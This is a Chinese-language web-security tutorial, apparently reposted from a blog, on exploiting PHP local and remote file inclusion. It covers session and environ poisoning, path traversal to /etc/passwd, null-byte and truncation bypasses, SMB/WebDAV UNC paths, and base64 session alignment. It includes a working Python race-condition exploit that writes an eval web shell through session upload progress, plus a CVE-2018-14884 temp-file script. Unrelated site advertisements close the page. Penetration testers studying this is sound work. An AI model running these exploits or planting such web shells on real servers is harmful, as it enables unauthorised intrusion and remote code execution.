  5. 此時,第一個數據包的socket連接實際上還沒結束,因為php還在繼續每次輸出4096個字節,所以臨時文件此時還沒有刪除

  6. 利用這個時間差,第二個數據包,也就是文件包含漏洞的利用,即可成功包含臨時文件,最終getshell

    利用腳本exp

2.7 包含Session

  1. PHP將用戶Session以文件的形式保存在主機中,通過php.ini文件中的session.save_path字段可以設置具體的存儲位置,通過phpinfo頁面也可以查詢到;文件命名格式為:sess_<PHPSESSID>,其中PHPSESSID為用戶cookie中PHPSESSID對應的值;Session文件一些可能的保存路徑:

    /var/lib/php/sess_PHPSESSID
    /var/lib/php/sessions/sess_PHPSESSID
    /tmp/sess_PHPSESSID
    /tmp/sessions/sess_PHPSESSID
    
  2. Session文件內容有兩種記錄格式:php、php_serialize,通過修改php.ini文件中session.serialize_handler字段來進行設置。

    以php格式記錄時,文件內容中以|來進行分割:

    以php_serialize格式記錄時,將會話內容以序列化形式存儲:

  3. 如果保存的session文件中字符串可控,那麼就可以構造惡意的字符串觸發文件包含。

    先構造一個含有惡意字符串的session文件:?user=test&cmd=<?php phpinfo();?>,之後包含這個會話的session文件。

2.9 包含環境變量

CGI****利用條件:1231、php以cgi方式運行,這樣environ才會保存UA頭。``2、environ文件存儲位置已知,且environ文件可讀。利用姿勢:proc/self/environ中會保存user-agent頭。如果在user-agent中插入php代碼,則php代碼會被寫入到environ中。之後再包含它,即可。

3. 繞過技巧

3.1 限制路徑路徑

服務器限制了訪問文件的路徑,例如在變量前面追加'/var/www/html'限制只能包含web目錄下的文件,可以利用路徑穿越進行對抗。

../../../../../../../ect/passwd

對於輸入有過濾的情況,可以嘗試用URL編碼進行轉換,比如%2e%2e%2f,甚至是二次轉換。

3.2 限制後綴

對用戶輸入添加後綴,比如:自動添加.jgp後綴、或者期望用戶輸如一個父目錄,服務器自動拼接上子目錄和文件。

  1. 如果是遠程文件包含的話可以利用URL的特性?#

    構造出類似於http://test.com/evil.php?/static/test.phphttp://test.com/evil.php#/static/test.php的包含路徑,使得服務器預設的後綴變成URL的參數或者頁面錨點。

  2. 利用壓縮協議:構建一個壓縮包歸檔文件,裡面包含上服務器加的後綴,這樣完整的路徑將指向壓縮包內文件。

    比如壓縮包中文件為test.zip->test->defautl->test.php ,構造url:include.php?file=phar://test.zip/test,服務端拼接后變成include('phar://test.zip/test/defautl/test.php')

  3. 利用超長字符串進行截斷,在php<5.2.8的版本可以設置一個超級長的路徑,超過的部分將被服務器丟棄。

    win最長為256字節、Linux為4096字節,構造include.php?file=./././././(n多個)././test.php

  4. 利用00截斷:php<5.3.4時可用%00對字符串進行截斷,%00被是識別為字符串終止標記。

3.3 allow_url_include = off

利用SMB、webdav等使用UNC路徑的文件共享進行繞過。

  1. 利用SMB(只對Win的web服務器有效):構建SMB服務器后,構造URL:?include.php?file=\\172.16.97.128\test.php
  2. 利用WebDAV:構造連接?include.php?file=//172.16.97.128/webdav/test.php

3.4 Base64 處理的session文件

為了保護用戶的信息或存儲更多格式的信息,很多時候都會對Session文件進行編碼,以Base64編碼為例,闡述繞過思路。了解服務端使用的編碼模式以及對應的解碼模式;合理安排payload使其滿足解碼條件,只要不干擾php代碼運行就可以。

  1. 根據上邊介紹的偽協議的用法,可以知道使用index.php?file=php://filter/read=convert.base64-decode/resource=index.php即可對base64編碼的文件進行解碼,但是直接解碼session文件時會出現亂碼。其原因在於session文檔中包含的並非全部都是base64編碼的內容,session開頭的user|s:24:字符串也被當做base64進行解碼,從而導致出現亂碼的情況,因此如果能忽略前面的字符,就可以完美解碼了。

  2. 有利條件:PHP在進行base64解碼的時候並不會去處理非Base64編碼字符集的內容,直接忽略過去並拼接之後的內容。也就是說,Session文件中的:|{};"這類字符對Base64解碼沒有影響。

  3. Base64解碼過程簡單來說就是:將字符串按照每4個字符分為一組,解碼為二進制數據流再拼接到一起,因此要保證我們可以將payload正確解出,需要將編碼后的payload其實位置控制在4n+1的位置(第5、9、13…位)。(base64編碼后長度為原數據長度的4/3)

  4. user:|s:24:"有效字符有7個,若要將payload置於第9位,則需要再增加一個字符,簡單有效的辦法就是讓24變成一個三位數——填充無效數據擴充payload長度。

  5. serialize模式同理,session文件中a:1:{s:4:"user";s:24:"共11個干擾字符,因此同樣只需將payload產生的字符串長度增加到三位數即可。

3.5 自己構造Session

有的網站可能不提供用戶會話記錄,但是默認的配置可以讓我們自己構造出一個Session文件。相關的選項如下:

  • session.use_strict_mode = 0,允許用戶自定義Session_ID,也就是說可以通過在Cookie中設置PHPSESSID=xxx將session文件名定義為sess_xxx
  • session.upload_progress.enabled = on,PHP可以在每個文件上傳時監視上傳進度。
  • session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS",當一個上傳在處理中,同時POST一個與INI中設置的session.upload_progress.name同名變量時,上傳進度可以在$_SESSION中獲得。 當PHP檢測到這種POST請求時,它會在$_SESSION中添加一組數據, 索引是session.upload_progress.prefixsession.upload_progress.name連接在一起的值。

利用思路:

  1. 上傳一個文件

  2. 上傳時設置一個自定義PHPSESSIDcookie

  3. POST PHP_SESSION_UPLOAD_PROGRESS惡意字段:"PHP_SESSION_UPLOAD_PROGRESS":'<?php phpinfo();?>'

    這樣就會在Session目錄下生成一個包含惡意代碼的session文件。

  4. 但是php默認設置中會打開session.upload_progress.cleanup = on,也就是當文件上傳完成後會自動刪除session文件,使用條件競爭繞過,惡意代碼功能設置為生成一個shell.php。

利用exp:

import io
import sys
import requests
import threading

sessid = 'test'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://127.0.0.1/index.php',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[test])?>');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'http://127.0.0.1/include.php?file=D:\\phpstudy_pro\\Extensions\\tmp\\tmp\\sess_{sessid}')
        # print('[+++]retry')
        # print(response.text)

        if 'PHP Version' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

3.6 CVE-2018-14884

CVE-2018-14884會造成php7出現段錯誤,從而導致垃圾回收機制失效,POST的文件會保留在系統緩存目錄下而不會被清除。

影響版本:

PHP Group PHP 7.0.*,<7.0.27
PHP Group PHP 7.1.*,<7.1.13
PHP Group PHP 7.2.*,<7.2.1

windows 臨時文件:C:\windows\php<隨機字符>.tmp

linux臨時文件:/tmp/php<隨機字符>

  1. 漏洞驗證include.php?file=php://filter/string.strip_tags/resource=index.php返回500錯誤

  2. post惡意字符串

    import requests
    
    files = {
      'file': '<?php phpinfo();'
    }
    url = 'http://127.0.0.1/include.php?file=php://filter/string.strip_tags/resource=index.php'
    r = requests.post(url=url, files=files, allow_redirects=False)
    
  3. 在臨時文件中可以看到惡意代碼成功寫入

  4. 至於包含嘛,爆破或者其他手段探測這個臨時文件吧。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

※回頭車貨運收費標準